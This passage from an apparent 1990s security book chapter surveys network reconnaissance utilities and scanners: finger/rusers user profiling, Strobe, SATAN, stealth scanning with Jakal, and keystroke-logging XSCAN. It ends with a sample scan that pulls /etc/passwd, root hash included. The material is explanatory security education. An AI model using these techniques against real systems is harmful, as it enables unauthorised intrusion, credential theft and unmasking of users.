registered domain). You can find that machine by issuing Traceroute requests.
The second to last entry is generally the network from which the activity
originated. For example, examine this Traceroute trace going from a machine
in France (freenix.fr) to mine:
1 193.49.144.224 (193.49.144.224) 3 ms 2 ms 2 ms
2 gw-ft.net.univ-angers.fr (193.49.161.1) 3 ms 3 ms 3 ms
3 angers.or-pl.ft.net (193.55.153.41) 5 ms 5 ms 5 ms
4 nantes1.or-pl.ft.net (193.55.153.9) 13 ms 10 ms 10 ms
5 stamand1.renater.ft.net (192.93.43.129) 25 ms 44 ms 67 ms
6 rbs1.renater.ft.net (192.93.43.186) 45 ms 30 ms 24 ms
7 raspail-ip2.eurogate.net (194.206.207.18) 51 ms 50 ms 58
8 raspail-ip.eurogate.net (194.206.207.58) 288 ms311 ms 287 ms
9 * Reston.eurogate.net (194.206.207.5) 479 ms 469 ms
10 gsl-sl-dc-fddi.gsl.net (204.59.144.199) 486 ms 490 ms 489 ms
11 sl-dc-8-F/T.sprintlink.net (198.67.0.8) 475 ms * 479 ms
12 sl-mae-e-H2/0-T3.sprintlink.net (144.228.10.42)498 ms 478 ms
13 mae-east.agis.net (192.41.177.145) 391 ms 456 ms 444 ms
14 h0-0.losangeles1.agis.net (204.130.243.45)714 ms 556 ms714 ms
15 pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms
16 lsan03-agis1.pbi.net (206.13.29.2) 536 ms 560 ms *
17 * * *
18 pm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms
19 pm1-24.pacificnet.net (207.171.17.25) 687 ms 677 ms 714 ms
From this, it is clear that I am located in Los Angeles, California:
pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms
and occupy a place at pacificnet.net:
pm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms
Traceroute can be used to determine the relative network location of a
machine in the void.
Note that you needn't have UNIX (or a UNIX variant) to run Traceroute
queries. There are Traceroute gateways all over the Internet. And, although
these typically trace the route only between the Traceroute gateway and your
target, they can at least be used to pin down the local host of an IP address.
Cross Reference: Try the Traceroute gateway at
http://www.beach.net/traceroute.html.
rusers and finger
rusers and finger can be used together to glean information on individual
users on a network. For example, a rusers query on the domain wizard.com
returns this:
gajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote)
root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote)
robo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote)
angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote)
pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote)
root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote)
gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote)
dafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote)
dafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote)
dafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote)
As an interesting exercise, compare this with finger information collected
immediately after:
user S00 PPP ppp-122-pm1.wiza Thu Nov 14 21:29:30 - still logged in
user S15 PPP ppp-119-pm1.wiza Thu Nov 14 22:16:35 - still logged in
user S04 PPP ppp-121-pm1.wiza Fri Nov 15 00:03:22 - still logged in
user S03 PPP ppp-112-pm1.wiza Thu Nov 14 22:20:23 - still logged in
user S26 PPP ppp-124-pm1.wiza Fri Nov 15 01:26:49 - still logged in
user S25 PPP ppp-102-pm1.wiza Thu Nov 14 23:18:00 - still logged in
user S17 PPP ppp-115-pm1.wiza Thu Nov 14 07:45:00 - still logged in
user S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in
user S23 PPP ppp-103-pm1.wiza Fri Nov 15 00:13:53 - still logged in
user S12 PPP ppp-111-pm1.wiza Wed Nov 13 16:58:12 - still logged in
Initially, this information might not seem valuable. However, it is often
through these techniques that you can positively identify a user. For
example, certain portions of the Internet offer varying degrees of anonymity.
Internet Relay Chat (IRC) is one such system. A person connecting with a
UNIX-based system can effectively obscure his or her identity on IRC but
cannot easily obscure the IP address of the machine in use. Through
sustained use of both the finger and rusers commands, you can pin down
who that user really is.
NOTE: finger and rusers are extensively discussed in Chapter 13,
"Techniques to Hide One's Identity." Nonetheless, I'd like to provide a
brief introduction here: finger and rusers are used to both identify and
check the current status of users logged on to a particular machine. For
example, you can find out the user's real name (if available), his or
her last time of login, and what command shell he or she uses. Not all
sites support these functions. In fact, most PC-based operating systems
do not without the installation of special server software. However,
even many UNIX sites no longer support these functions because they are
so revealing. finger and rusers are now considered security risks in
themselves.
Nevertheless, this explanation doesn't reveal the value of these utilities
in relation to cracking. In the same way that one can finger a user, one can
also finger several key processes. Table 9.2 contains some examples.
Table 9.2. Processes that can be fingered.
Process
Purpose
lp
The Line Printer daemon
UUCP
UNIX to UNIX copy
root
Root operator
mail
The Mail System daemon
By directing finger inquiries on these accounts, you can glean valuable
information about them, such as their base directory as well as the last
time they were used or logged in.
Thus, rusers, when coupled with finger, can produce interesting and often
revealing results. I realize, of course, that you might trivialize this
information. For, what value is there in knowing when and where logins
take place?
In fact, there are many instances in which such information has value. For
example, if you are truly engaged in cracking a specific system, this
information can help you build a strong database of knowledge about your
target. By watching logins, you can effectively identify trust relationships
between machines. You can also reliably determine the habits of the local
users. All these factors could have significant value.
Showmount
Showmount reveals some very interesting information about remote hosts. Most
importantly, invoked with the -e command line option, showmount can provide
a list of all exported directories on a given target. These directories
might or might not be mountable from anywhere on the Internet.
On Other Platforms
None of the mentioned UNIX utilities are scanners. However, they do reveal
important information about the target machine. And not surprisingly, the
computing community has ported quite a few of these utilities to other
platforms (not everyone has a UNIX workstation in their living room). It
wouldn't be fair to continue without briefly covering those ported utilities
here.
On Windows 95
Windows 95 now supports many network analysis utilities. Some of these are
straight ports from UNIX commands, and others are programs built from the
ground up. In both cases, the majority of these tools are shareware or
freeware. You can use these tools to learn much about networking.
NetScan Tools The NetScan Tools suite contains a series of UNIX utilities
ported to Windows 95. Its development team claims that by utilizing ping,
network administrators can identity unauthorized machines utilizing IP
addresses on their subnets. The program also contains ports of WHOIS, finger,
ping, and Traceroute.
Cross Reference: The Netscan Tools suite is shareware and
is available at
http://www.eskimo.com/~nwps/index.html.
Network Toolbox Network Toolbox is very similar to the Netscan Tools suite.
It consists of a port of nine separate UNIX utilities. This utility has an
interesting feature called IP Address Search, which allows the user to search
for machines within a given range of IP addresses. Otherwise, it has the usual
fare: finger, DNS, WHOIS, and so on. One special amenity of this suite is that
it is exceedingly fast. This utility is discussed in greater detail later in
this chapter.
Cross Reference: You can find Network Toolbox at
http://www.jriver.com/netbox.html.
TCP/IP Surveyor This tool is quite impressive; not only does it gather
information about networks and reachable machines, it formats it into a
graphical representation that maps routers, workstations, and servers.
Cross Reference: TCP/IP Surveyor is shareware and can be found at
ftp://wuarchive.wustl.edu/systems/ibmpc/win95/netutil/wssrv32n.zip.
On Macintosh
There has been a sharp increase in development of network analysis tools on
the Macintosh platform. Many of these applications are first rate and, in
traditional Mac platform style, are extremely easy to use.
MacTCP Watcher This utility provides ping, DNS lookups, and general
monitoring of connections initiated by protocols within the TCP/IP suite.
Cross Reference: As of version 1.12, this utility has been designated
freeware. However, by the time this book is printed, that situation
might change. Get it at http://www.share.com/share/peterlewis/mtcpw/.
Query It! Query It! is a solid utility that performs basic nslookup
inquiries. It generates information that is very similar to that generated
using the host command.
Cross Reference: Get Query It! at
http://www.cyberatl.net/~mphillip/index.html#Query It!.
WhatRoute WhatRoute is a port of the popular UNIX utility Traceroute.
Cross Reference: WhatRoute is a freeware program and is available
at various locations on the Internet, including
http://homepages.ihug.co.nz/~bryanc/.
On AS/400
The AS/400 platform, as of AS/400 V3R1 (and Client Access/400),
has excellent internal support for most TCP/IP utilities, including ping and netstat.
Cross Reference: For those interested in studying the fine points of
TCP/IP implementation on AS/400, I highly recommend the white paper
"TCP/IP Connectivity in an AS/400 Environment" by David Bernard.
(News/400. February 1996.) It can be found at
http://204.56.55.10/Education/WhitePapers/tcpip/tcpip.htm.
These utilities will always be available to users, even if scanners are not.
Moreover, because the Internet is now traveled by more and more new users,
utilities to analyze network connections will be commonplace on all platforms.
The Scanners
Having discussed various network analysis utilities, we can now move on to
bona fide scanners. Let's take a look at today's most popular scanners.
NSS (Network Security Scanner)
NSS (Network Security scanner) is a very obscure scanner. If you search for
it using a popular search engine, you will probably find fewer than 20
entries. This doesn't mean NSS isn't in wide use. Rather, it means that most
of the FTP sites that carry it are shadowed or simply unavailable via archived
WWW searches.
NSS differs from its counterparts in several ways, the most interesting of
which is that it's written in Perl. (SATAN is also partially written in Perl.
ISS and Strobe are not.) This is interesting because it means that the user
does not require a C compiler. This might seem like a small matter, but it's
not. Crackers and hackers generally start out as students. Students may
acquire shell accounts on UNIX servers, true, but not every system
administrator allows his or her users access to a C compiler. On the other
hand, Perl is so widely used for CGI programming that most users are allowed
access to Perl. This makes NSS a popular choice. (I should explain that most
scanners come in raw, C source. Thus, a C compiler is required to use them.)
Also, because Perl is an interpreted (as opposed to compiled) language, it
allows the user to make changes with a few keystrokes. It is also generally
easier to read and understand. (Why not? It's written in plain English.) To
demonstrate the importance of this, consider the fact that many scanners
written in C allow the user only minimal control over the scan (if the
scanner comes in binary form, that is). Without the C source code, the
user is basically limited to whatever the programmer intended. Scanners
written in Perl do not generally enforce such limitations and are therefore
more easily extensible (and perhaps portable to any operating system running
Perl 4 or better).
NSS was reportedly written on the DEC platform (DecStation 5000 and
Ultrix 4.4). It generally works out the box on SunOS 4.1.3 and IRIX 5.2.
On other platforms, it may require basic or extensive porting.
The basic value of NSS is its speed. It is extremely fast.
Routine checks that it can perform include the following:
sendmail
Anon FTP
NFS Exports
TFTP
Hosts.equiv
Xhost
NOTE: NSS will not allow you to perform Hosts.equiv unless you have
root privileges. If this is a critical issue and you do not currently
have root, you might want to acquire a copy of Linux, Solaris X86, or
FreeBSD. By getting one of these operating systems and installing it
at home, you can become root. This is a common problem with several
scanners, including SATAN and certain implementations of Internet
Security Scanner.
As you might guess, some or most of these checks (except the Hosts.equiv
query) can be conducted by hand by any user, even without root privileges.
Basically, NSS serves the same function as most scanners: It automates
processes that might otherwise take a human weeks to complete.
NSS comes (most often) as a tarred, g'zipped file. (In other words, it is a
zipped archive created with gzip.exe, a popular compression tool similar to
pkzip.exe.) With the original distribution, the author discussed the
possibility of adding greater functionality, including the following features:
AppleTalk scanning
Novell scanning
LAN manager networks
The capability to scan subnets
Briefly, the processes undertaken by NSS include
Getting the domain listing or reporting that no such listing exists
Pinging the host to determine whether it's alive
Scanning the ports of the target host
Reporting holes at that location
Although this is not an exhaustive treatment of NSS, there are some minor
points I can offer here:
NSS does not run immediately after you unzip and untar it. Several
changes must be made to the file. The environment variables must be
set to those applicable to your machine's configuration. The key
variables are
$TmpDir--The temporary directory used by NSS
$YPX--The directory where the ypx utility is located
$PING--The directory where the executable ping is located
$XWININFO--The directory where xwininfo is located
TIP: If your Perl include directory (where the Perl include files are
located) is obscure and not included within your PATH environment
variable, you will have to remedy that. Also, users should note that
NSS does require the ftplib.pl library package.
NSS has parallel capabilities and can distribute the scan among a
number of workstations. Moreover, it can fork processes. Those running
NSS on machines with limited resources (or running it without permission)
will want to avoid these capabilities. These are options that can set
within the code.
Cross Reference: You can find a copy of NSS, authored by Douglas O'Neal
(released March 28, 1995) at http://www.giga.or.at/pub/hacker/unix. This
location was reliable as of November 20, 1996.
Strobe
Strobe (The Super Optimized TCP Port Surveyor) is a TCP port scanner that
logs all open ports on a given machine. Strobe is fast (its author claims
that an entire small country can be scanned within a reasonable period of
time).
The key feature of Strobe is that it can quickly identify what services are
being run on a given target (so quickly, in fact, that it takes less than 30
seconds to pin down a server, even with a 28.8 modem connection to the
Internet). The key drawback of Strobe is that such information is limited. At
best, a Strobe attack provides the cracker with a rough guideline, a map of
what services can be attacked. Typical output from a Strobe scan looks like
this:
localhost echo 7/tcp Echo [95,JBP]
localhost discard 9/tcp Discard [94,JBP]
localhost systat 11/tcp Active Users [89,JBP]
localhost daytime 13/tcp Daytime [93,JBP]
localhost netstat 15/tcp Netstat
localhost chargen 19/tcp Character Generator [92,JBP]
localhost ftp 21/tcp File Transfer [Control] [96,JBP]
localhost telnet 23/tcp Telnet [112,JBP]
localhost smtp 25/tcp Simple Mail Transfer [102,JBP]
localhost time 37/tcp Time [108,JBP]
localhost finger 79/tcp Finger [52,KLH]
localhost pop3 0/tcp Post Office Protocol-Version 3 122
localhost sunrpc 111/tcp SUN Remote Procedure Call [DXG]
localhost auth 113/tcp Authentication Service [130,MCSJ]
localhost nntp 119/tcp Network News Transfer Protocol 65,PL4
As you can see, the information is purely diagnostic in character (for
example, there are no probes for particular holes). However, Strobe makes
up for this with extensive command-line options. For example, in scanning
hosts with large numbers of assigned ports, you can disable all duplicate
port descriptions. (Only the first definition is printed.) Other amenities
include
Command-line option to specify starting and ending ports
Command-line option to specify time after which a scan will terminate
if it receives no response from a port or host
Command-line option to specify the number of sockets to use
Command-line option to specify a file from which Strobe will take its target hosts
Combining all these options produces a very controllable and configurable
scan. Strobe generally comes as a tarred and g'zipped file. Contained within
that distribution is a full man page and the binary.
Cross Reference: You can find a copy of Strobe, authored by Julian
Assange (released 1995), at
http://sunsite.kth.se/Linux/system/Network/admin/.
Pointers
In the unlikely event you acquire Strobe without also acquiring the man page,
there is a known problem with Solaris 2.3. To prevent problems (and almost
certainly a core dump), you must disable the use of getpeername(). This is
done by adding the -g flag on the command line.
Also, although Strobe does not perform extensive tests on remote hosts, it
leaves just as large a footprint as early distributions of ISS. A host that
is scanned with Strobe will know it (this will most likely appear as a run
of connect requests in the /var/adm/messages file).
SATAN (Security Administrator's Tool for Analyzing Networks)
SATAN is a computing curiosity, as are its authors. SATAN was released
(or unleashed) on the Internet in April, 1995. Never before had a security
utility caused so much controversy. Newspapers and magazines across the
country featured articles about it. National news broadcasts warned of its
impending release. An enormous amount of hype followed this utility up until
the moment it was finally posted to the Net.
SATAN is, admittedly, quite a package. Written for UNIX workstations, SATAN
was--at the time of its release--the only X Window System-based security
program that was truly user friendly. It features an HTML interface,
complete with forms to enter targets, tables to display results, and
context-sensitive tutorials that appear when a hole has been found. It
is--in a word--extraordinary.
SATAN's authors are equally extraordinary. Dan Farmer and Weitse Venema
have both been deeply involved in security. Readers who are unfamiliar with
SATAN might remember Dan Farmer as the co-author of COPS, which has become a
standard in the UNIX community for checking one's network for security holes.
Venema is the author of TCP_Wrapper. (Some people consider TCP_Wrapper to be
the grandfather of firewall technology. It replaces inetd as a daemon, and
has strong logging options.) Both men are extremely gifted programmers,
hackers (not crackers), and authorities on Internet security.
SATAN was designed only for UNIX. It is written primarily in C and Perl
(with some HTML thrown in for user friendliness). It operates on a wide
variety of UNIX flavors, some with no porting at all and others with
moderate to intensive porting.
NOTE: There is a special problem with running SATAN on Linux. The
original distribution applies certain rules that result in flawed
operation on the Linux platform. There is also a problem with the way
the select() call is implemented in the tcp_scan module. Lastly, if one
scans an entire subnet at one time, this will result in a reverse fping
bomb. That is, socket buffers will overflow. Nevertheless, one site
contains not only a nicely hacked SATAN binary for Linux, but also
the diff file. (A diff file is a file that is close but not identical
to another file. Using the diff utility, one compares the two files.
The resulting output consists of the changes that must be made.) These
items can be found at ftp.lod.com or one can obtain the diff file
directly from Sunsite (sunsite.unc.edu) at
/pub/Linux/system/Network/admin/satan-linux.1.1.1.diff.gz.
The package comes tarred and zipped and is available all over the world. As
the name of the program (Security Administrator's Tool for Analyzing
Networks) suggests, it was written for the purpose of improving network
security. As such, not only must one run it in a UNIX environment, one must
run it with root privileges.
SATAN scans remote hosts for most known holes, including but not limited to these:
FTPD vulnerabilities and writable FTP directories
NFS vulnerabilities
NIS vulnerabilities
RSH vulnerability
sendmail
X server vulnerabilities
Once again, these are known holes. That is, SATAN doesn't do anything that a
cracker could not ultimately do by hand. However, SATAN does perform these
probes automatically and what's more, it provides this information in an
extremely easy-to-use package.
Cross Reference: You can obtain your copy of SATAN, written by
Dan Farmer and Weitse Venema (released April, 1995), at
http://www.fish.com.
The Process: Installation
SATAN unarchives like any other utility. Each platform may differ slightly,
but in general, the SATAN directory will extract to /satan-1.1.1. The first
step (after reading the documentation) is to run the Perl script reconfig.
This script searches for various components (most notably, Perl) and defines
directory paths. The script reconfig will fail if it cannot identify/define a
browser. Those folks who have installed their browser in a nonstandard
directory (and have failed to set that variable in the PATH) will have to
set that variable manually. Also, those who do not have DNS available
(they are not running DNS on their own machine) must set this in
/satan-1.1.1/conf/satan.cf as follows:
$dont_use_nslookup = 1;
Having resolved all the PATH issues, the user can run a make on the
distribution (make IRIX or make SunOS). I suggest watching the compile
very closely for errors.
TIP: SATAN requires a little more resources than the average scanner,
especially in the area of RAM and processor power. If you are
experiencing sluggish performance, there are several solutions you can
try. One of the most obvious is to get more RAM and greater processor
power. However, if that isn't feasible, I suggest a couple things:
One is to kill as many other processes as possible. Another is to limit
your scans to 100 hosts or fewer per scan. Lastly, it is of some
significance that SATAN has a command-line interface for those without
strong video support or with limited memory resources.
Jakal
Jakal is a stealth scanner. That is, it will scan a domain
(behind a firewall) without leaving any trace of the scan. According to its
authors, all alpha test sites were unable to log any activity (although it
is reported in the documentation from the authors that "Some firewalls did
allow SYN|FIN to pass through").
Stealth scanners are a new phenomenon, their incidence rising no doubt with
the incidence of firewalls on the Net. It's a relatively new area of
expertise. So if you test Jakal and find that a few logs appear, don't be
unforgiving.
Stealth scanners work by conducting half scans, which start (but never
complete) the entire SYN|ACK transaction with the target host. Basically,
stealth scans bypass the firewall and evade port scanning detectors, thus
identifying what services are running behind that firewall. (This includes
rather elaborate scan detectors such as Courtney and Gabriel. Most of these
detection systems respond only to fully established connections.)
Cross Reference: Obtain a copy of Jakal, written by Halflife,
Jeff (Phiji) Fay, and Abdullah Marafie at
http://www.giga.or.at/pub/hacker/unix.
IdentTCPscan
IdentTCPscan is a more specialized scanner. It has the added functionality
of picking out the owner of a given TCP port process. That is, it determines
the UID of the process. For example, running IdentTCPscan against my own
machine produced the following output:
Port: 7 Service: (?) Userid: root
Port: 9 Service: (?) Userid: root
Port: 11 Service: (?) Userid: root
Port: 13 Service: (?) Userid: root
Port: 15 Service: (?) Userid: root
Port: 19 Service: (?) Userid: root
Port: 21 Service: (?) Userid: root
Port: 23 Service: (?) Userid: root
Port: 25 Service: (?) Userid: root
Port: 37 Service: (?) Userid: root
Port: 79 Service: (?) Userid: root
Port: 80 Service: (?) Userid: root
Port: 110 Service: (?) Userid: root
Port: 111 Service: (?) Userid: root
Port: 113 Service: (?) Userid: root
Port: 119 Service: (?) Userid: root
Port: 139 Service: (?) Userid: root
Port: 513 Service: (?) Userid: root
Port: 514 Service: (?) Userid: root
Port: 515 Service: (?) Userid: root
Port: 540 Service: (?) Userid: root
Port: 672 Service: (?) Userid: root
Port: 2049 Service: (?) Userid: root
Port: 6000 Service: (?) Userid: root
This utility has a very important function. By finding the UID of the
process, misconfigurations can be quickly identified. For example, examine
this output. Seasoned security professionals will know that line 12 of the
scan shows a serious misconfiguration. Port 80 is running a service as root.
It happens that it is running HTTPD. This is a security problem because any
attacker who exploits weaknesses in your CGI can run his or her processes as
root as well.
I have tried many scanners. IdentTCPscan is extremely fast and as such, it
is a powerful and incisive tool (a favorite of crackers). The utility works
equally well on a variety of platforms, including Linux, BSDI, and SunOS. It
generally comes as a compressed file containing the source code. It is written
in C and is very compact. It also requires minimal network resources to run.
It will build without event using most any C compiler.
Cross Reference: Obtain a copy of IdentTCPscan,
written by David Goldsmith(released February 11, 1996),
at http://www.giga.or.at/pub/hacker/unix.
CONNECT
CONNECT is a bin/sh script. Its purpose is to scan subnets for TFTP servers.
(As you might surmise, these are difficult to find. TFTP is almost always
disabled these days.) This scanner scans trailing IP addresses recursively.
For this reason, you should send the process into the background (or go get
yourself a beer, have some lunch, play some golf).
This scanner is of relatively little importance because TFTP is a lame
protocol. There isn't much to gain. (Although, if the sysad at that location
is negligent, you might be able to obtain the /etc/passwd file. Don't count
on it, however. These days, the odds of finding both an open TFTP server and
a non-shadowed passwd file on the same machine are practically nil.)
Cross Reference: The documentation of CONNECT is written by Joe Hentzel;
according to Hentzel, the script's author is anonymous, and the release
date is unknown. Obtain a copy at http://www.giga.or.at/pub/hacker/unix/.
FSPScan
FSPScan scans for FSP servers. FSP stands for File Service Protocol, an
Internet protocol much like FTP. It provides for anonymous file transfers
and reportedly has protection against network overloading (for example, FSP
never forks). Perhaps the most security-aware feature of FSP is that it logs
the incoming user's hostname. This is considered superior to FTP, which
requests the user's e-mail address (which, in effect, is no logging at all).
FSP was popular enough, now sporting GUI clients for Windows and OS/2.
What's extraordinary about FSPScan is that it was written by one of the
co-authors of FSP! But then, who better to write such a utility?
Cross Reference: Obtain a copy of FSPScan,
written by Wen-King Su (released in 1991),
at http://www.giga.or.at/pub/hacker/unix.
XSCAN
XSCAN scans a subnet (or host) for X server vulnerabilities. At first glance,
this doesn't seem particularly important. After all, most other scanners do
the same. However, XSCAN includes an additional functionality: If it locates
a vulnerable target, it immediately starts logging the keystrokes at that
terminal.
Other amenities of XSCAN include the capability to scan multiple hosts in
the same scan. These can be entered on the command line as arguments. (And
you can specify both hosts and subnets in a kind of mix-and-match
implementation.) The source for this utility is included on the CD-ROM that
accompanies this book.
Cross Reference: Obtain a copy of XSCAN (release unknown) at
http://www.giga.or.at/pub/hacker/unix.
Our Sample Scan
Our sample scan will be generated using a product called SAFEsuite. Many of
you might be familiar with this product, which was developed by Internet
Security Systems. ISS is extremely well known on the Net for a product
called ISS. This product (the Internet Security Scanner) was among the first
automated scanners to sell commercially.
From ISS to SAFEsuite
The first release of ISS stirred some controversy. Many people felt that
releasing such a tool free to the Internet community would jeopardize the
network's already fragile security. (The reaction to Dan Farmer's SATAN was
very similar.) After all, why release a product that automatically detects
weaknesses in a remote target? In the manual pages for ISS, the author
(Christopher Klaus) addressed this issue by writing:
...To provide this to the public or at least to the security-conscious
crowd may cause people to think that it is too dangerous for the public,
but many of the (cr/h)ackers are already aware of these security holes
and know how to exploit them. These security holes are not deep in some
OS routines, but standard misconfigurations that many domains on
Internet tend to show. Many of these holes are warned about in CERT
and CIAC advisories...
In early distributions of ISS, the source code for the program was included
in the package. (This sometimes came as a shar or shell archive file and
sometimes not.) For those interested in examining the components that make
a successful and effective scanner, the full source for the older ISS is
included on the CD-ROM that accompanies this book.
ISS has the distinction of being one of the mainstays of Internet security.
It can now be found at thousands of sites in various forms and versions. It
is a favorite of hackers and crackers alike, being lightweight and easy to
compile on almost any UNIX-based platform. Since the original release of ISS,
the utility has become incredibly popular. The development team at ISS has
carried this tradition of small, portable security products onward, and
SAFEsuite is its latest effort. It is a dramatic improvement over earlier
versions.
SAFEsuite consists of several scanners:
The intranet scanner
The Web scanner
The firewall scanner
SAFEsuite is similar to SATAN in that the configuration, management,
implementation, and general use of the program can be done in a GUI
environment. This saves enormous time and effort. It also allows resulting
information to be viewed quickly and conveniently. However, SAFEsuite has an
additional attribute that will make it quite popular: It runs on a Microsoft
platform. SAFEsuite has been developed for use on Microsoft Windows NT.
This is of some significance. Only recently has NT been recognized by the
UNIX community as an acceptable server platform. This may in part be
attributed to NT's new C2 security rating. In any event, ISS has broken
through the barrier by providing a tested security tool for a large portion
of the Microsoft-based community. I consider this a rather far-sighted
undertaking on the part of the development team at ISS.
SAFEsuite performs a wide variety of attacks on the specified network. These
include diagnostic routines on all of the following services:
sendmail
FTP
NNTP
Telnet
RPC
NFS
Curiously, the ISS development team also managed to add support for analysis
of a host's vulnerability to IP spoofing and denial-of-service attacks.
(This is impressive, although one wonders what significance there is in
knowing that you're vulnerable to a DoS attack. Few platforms are immune to
this type of attack.)
According to the folks at ISS:
SAFEsuite is the fastest, most comprehensive, proactive UNIX network
security scanner available. It configures easily, scans quickly, and
produces comprehensive reports. SAFEsuite probes a network environment
for selected security vulnerabilities, simulating the techniques of a
determined hacker. Depending on the reporting options you select,
SAFEsuite gives you the following information about each vulnerability
found: location, in-depth description, and suggested corrective actions.
In any case, those of you who have used earlier versions of ISS will find
that the SAFEsuite distribution is slightly different. For example, earlier
versions (with the exception of one trial distribution) were not for use in
a GUI. For that reason, I will quickly cover the scan preparation in this
tool. Perhaps the most dramatic change from the old ISS to the new SAFEsuite
is that SAFEsuite is a commercial product.
Notes on the Server Configuration
For the purposes of demonstrating both target and attacker views of a scan,
I established a server with the hostname SamsHack. It was configured as
follows:
Machine: 486 DX-4 120 AT IBM compatible
Memory: 32 MB
Operating system: Linux 1.2.13 (Slackware)
Modem: 28.8
Network connection: PPP (pppd)
I chose Linux because it provides strong logging capabilities. Default
logging in Linux in done via a file called /var/adm/messages. (This might
differ slightly, depending on the Linux distribution. Red Hat Linux, for
example, has a slightly different directory structure from Slackware. In that
distribution, you will probably be focusing on the file /var/logs/messages.)
The /var/adm/messages file records status reports and messages from the
system. These naturally include the boot routine and any problems found
there, as well as dozens of other processes the user might initiate. (In
this case, the /var/adm/messages file will log our server's responses to the
SAFEsuite scan.)
NOTE: On some versions of Linux (and indeed, on the majority of UNIX
distributions), more valuable logging information can generally be found
in /var/adm/syslog than in /var/adm/messages. This is especially so
with regard to attempts by users to gain unauthorized access from inside
the system.
System Requirements
At the time this chapter was written, the Windows NT version of SAFEsuite
was still in development. Therefore, NT users should contact the development
team at ISS for details on how to install on that platform. The system
requirements are shown in Table 9.3.
Table 9.3. Installation requirements for SAFEsuite.
Element
Requirement
Processor Speed
Not defined
RAM
16MB or better
Networking
TCP/IP
Privileges
Root or administrator
Storage
Approximately 5MB
Browser
Any HTML-3 browser client
Miscellaneous
Solaris boxes require Motif 1.22+
SAFEsuite runs on many platforms, including but not limited to the following:
Sun OS 4.1.3 or above
Solaris 2.3 or above
HP/UX 9.05 or above
IBM AIX 3.2.5 or above
Linux 1.2.x (with kernel patch)
Linux 1.3.x prior to 1.3.75 (with patch)
Linux 1.3.76+ (no patch required)
Installing the suite is straightforward. It unpacks like any standard UNIX
utility. It should be copied to a directory of your choice. Go to that
directory and extract the archive, using the following command:
tar -xvf iss-xxx.tar
After you untar the archive, you will see a file labeled iss.install. This is
a Bourne shell script that will perform the installation. (This mainly
involves extracting the distribution disks and the help documentation, which
is in HTML format.) Run this file to complete the basic installation process
by executing the command sh iss.install. The chief executable is the xiss
file, which will launch SAFEsuite in the X Window System, OpenWindows, or
any compatible windowing system for UNIX.
Configuration
In this scan, I used the defaults to simplify the interpretation of output
(by output, I mean not only the information that the scan gleans from our
server, but also the footprint, or trail, that the scanner leaves behind).
Nevertheless, the configuration options in SAFEsuite are very incisive.
If you decide to use SAFEsuite, you might want to take advantage of those
incisive options. If so, you need to call the Scanner Configuration window
(see Figure 9.1). Some of the options here are similar to options formerly
expressed with the command-line interface (such as the outfile, or log file,
which contains all information recorded during the scan; this was formerly
assigned with the -o option). Other options are entirely new, such as the option for specifying a Web browser.
Figure 9.1.
The SAFEsuite configuration screen.
NOTE: The Web browser option isn't really an option. To read the
unabridged manual that comes with SAFEsuite, you must specify a
browser. That is, if the user does not specify a browser, the Help
option in the main menu window will not work. (An error message is
produced, informing you that you have not chosen a browser.) If there is
a reason why you don't want to specify a browser at that point--or if
the machine you are using does not have one--you can still view the
entire tutorial and manual on another machine. Simply transport all
HTML files into a directory of your choice, start a browser, and open
index.html. The links will work fine locally.
Special Features The options to specify additional ports is particularly
interesting. So is the capability to add modules. SAFEsuite appears to be
quite extensible. Thus, if you hack specialized code for probing parts of
the system not covered by SAFEsuite, you can include these modules into
the scan (as you can with Farmer and Venema's SATAN).
TIP: Even if you don't write your own security tools, you can patch in
the code of others. For example, there are many nonestablishment
scanners out there that perform specialized tasks. There is no reason
why these tools cannot be solidly integrated into the SAFEsuite scan.
NOTE: The SAFEsuite program includes network maps, which are an
ingenious creation (one that Farmer and Venema had intentions of
adding to SATAN). The network map is a wonderful way to quickly
isolate problem machines or configurations on your network. These maps
provide a graphical representation of your network, visually highlighting
potential danger spots. Used in conjunction with other network
architecture tools (many which are not particularly related to security),
products like SAFEsuite can help you to quickly design safe network
topology.
Cross Reference: For more information about the purchase, use, or
configuration of SAFEsuite, contact ISS at its Web page (http://ISS).
The Scan
The scan took approximately two minutes. For those of you who are interested,
the network resources consumed were relatively slim. For example, while the
scan occurred, I was also running several other applications. The scan's
activity was hardly noticeable. The results of the scan were enlightening.
The SamsHack server was found to be vulnerable in several areas. These
vulnerabilities ranged from trivial to serious.
NOTE: For the truly curious, I was running SAFEsuite through a standard
configuration of MIT's X Window System. The X Window manager was FVWM.
The rlogin Bug
One of the tests SAFEsuite runs is for a bug in the remo
te login program
called rlogin. Was the SamsHack server vulnerable to rlogin attack? No.
# Rlogin Binding to Port
# Connected to Rlogin Port
# Trying to gain access via Rlogin
127.0.0.1: ---- rlogin begin output ----
127.0.0.1: ---- rlogin end output ----
# Rlogin check complete, not vulnerable.
In other areas, however, the SamsHack server was vulnerable to attack.
These vulnerabilities were critical. Take a close look at the following log
entry:
# Time Stamp(555): Rsh check: (848027962) Thu Nov 14 19:19:22
# Checking Rsh For Vulnerabilities
# Rsh Shell Binding to Port
# Sending command to Rsh
127.0.0.1: bin/bin logged in to rsh
127.0.0.1: Files grabbed from rsh into `./127.0.0.1.rsh.files'
127.0.0.1: Rsh vulnerable in hosts.equiv
# Completed Checking Rsh for Vulnerability
You'll see that line 6 suggests that some files were grabbed and saved.
Their output was sent to a file called 127.0.0.1.rsh.files. Can you guess
what file or files were saved to that file? If you guessed the /etc/passwd
file, you are quite correct. Here are the contents of 127.0.0.1.rsh.files:
root:bBndEhmQlYwTc:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
